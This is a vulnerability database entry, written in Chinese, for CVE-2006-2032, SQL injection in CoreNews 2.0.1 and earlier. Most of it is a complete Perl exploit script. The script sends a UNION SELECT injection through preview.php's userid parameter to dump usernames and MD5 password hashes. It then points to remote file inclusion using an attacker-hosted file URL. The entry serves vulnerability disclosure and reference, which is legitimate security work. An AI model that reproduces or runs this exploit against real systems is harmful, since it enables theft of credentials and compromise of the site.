Core CoreNews 多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110119 漏洞类型 SQL注入
发布时间 2006-04-21 更新时间 2006-04-27
CVE编号 CVE-2006-2032 CNNVD-ID CNNVD-200604-453
漏洞平台 PHP CVSS评分 6.4
|漏洞来源
https://www.exploit-db.com/exploits/1704
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-453
|漏洞详情
CoreCoreNews2.0.1及早期版本中存在多个SQL注入漏洞。这使得远程攻击者可以借助于preview.php中的参数(1)icon_id和(2)userid执行任意SQL命令。
|漏洞EXP
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=24
#Usage: corenews.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-24\r\n";
  print "- CoreNews <= 2.0.1 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to CoreNews ex: /corenews/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $cnserver = $ARGV[0];
  $cnserver =~ s/(http:\/\/)//eg;
  $cnhost   = "http://".$cnserver;
  $cndir    = $ARGV[1];
  $cnport   = "80";
  $cntar    = "preview.php?userid=";
  $cnxp     = "-1/**/UNION/**/SELECT/**/null,concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/corenews_users/*";
  $cnreq    = $cnhost.$cndir.$cntar.$cnxp;
  #Sending data...
  header();
  print "- Trying to connect: $cnserver\r\n";
  $cn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cnserver", PeerPort => "$cnport") || die "- Connection failed...\n";
  print $cn "GET $cnreq HTTP/1.1\n";
  print $cn "Accept: */*\n";
  print $cn "Referer: $cnhost\n";
  print $cn "Accept-Language: tr\n";
  print $cn "User-Agent: NukeZilla\n";
  print $cn "Cache-Control: no-cache\n";
  print $cn "Host: $cnserver\n";
  print $cn "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$cn>) {
    if ($answer =~ /2022(.*?)20223([\d,a-f]{32})2203/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      print "- If you crack hash you can use RFI with example ->\r\n";
      print "- Example: $cnhost$cndir?show=http://yourhost.com/file.txt\r\n"; 
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21]
|参考资料

来源:BID
名称:17655
链接:http://www.securityfocus.com/bid/17655
来源:BUGTRAQ
名称:20060421Advisory:CoreNews<=2.0.1MultipleRemoteVulnerabilities.
链接:http://www.securityfocus.com/archive/1/archive/1/431761/100/0/threaded
来源:MISC
链接:http://www.nukedx.com/?getxpl=24
来源:XF
名称:corenews-preview-sql-injection(25977)
链接:http://xforce.iss.net/xforce/xfdb/25977
来源:SREASON
名称:797
链接:http://securityreason.com/securityalert/797
来源:FULLDISC
名称:20060421Advisory:CoreNews<=2.0.1MultipleRemoteVulnerabilities.
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2006-April/045372.html